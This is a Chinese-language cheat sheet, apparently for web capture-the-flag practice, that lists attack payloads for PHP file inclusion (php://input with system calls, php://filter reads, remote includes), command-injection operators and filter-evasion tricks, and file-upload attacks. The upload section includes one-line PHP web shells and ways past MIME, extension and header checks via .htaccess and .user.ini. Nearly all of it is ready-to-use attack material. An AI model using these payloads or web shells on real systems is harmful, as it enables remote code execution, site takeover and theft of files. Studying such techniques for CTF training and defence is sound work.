web小总结
1.文件包含:
a.(特征,可能包括)?file=flag.php
b.(做法)?file=php://input 【POST DATA】<?php system('ls /'); ?>
?file=php://filter/read=convert.base64-encode/resource=/flag
远程包含:?f=http://127.0.0.1/test/test.txt 等等
c.伪协议:
需要绝对路径: file://、zip://、compress.bzip2://、compress.zlib://、data://
不需要绝对路径:php://filter、php://input
d.截断:
长文件名截断 ; %00 ; \. ; 没有后缀 ; 后缀为 . ; ?id= ; ../替换为空
2.命令执行:
a.命令执行常见运算符:
系统命令连接符:
A;B 先A后B
& 拼接
| 显示B的执行结果
&& A成功后执行B
|| A失败才执行B
b.绕过:
过滤CAT:
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
过滤空格: IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}
过滤运算符: base64 file
过滤文字: flag可以用正则f***
过滤命令分隔符: 除了;还有%0a (一定要输在url中,否则%0a会被再次编码)
3.文件上传:
a.常用方法:
php GIF89a? <?php @eval($_POST[a]);?>
php,php3/4/5,phtml.pht GIF89a? <script language="php">eval($_REQUEST[shell])</script>
b.绕过:
前端绕过: 用bp改
MIME绕过: content-type:image/png
00截断: %00 (0x00)
双写绕过: pphphp
后缀大小写绕过,点绕过,空格绕过,文件头检查
.htaccess: <FilesMatch "haha">SetHandler application/x-httpd-php</FilesMatch>
.user.ini: auto_prepend_file=aa.jpg
二次渲染等高级技巧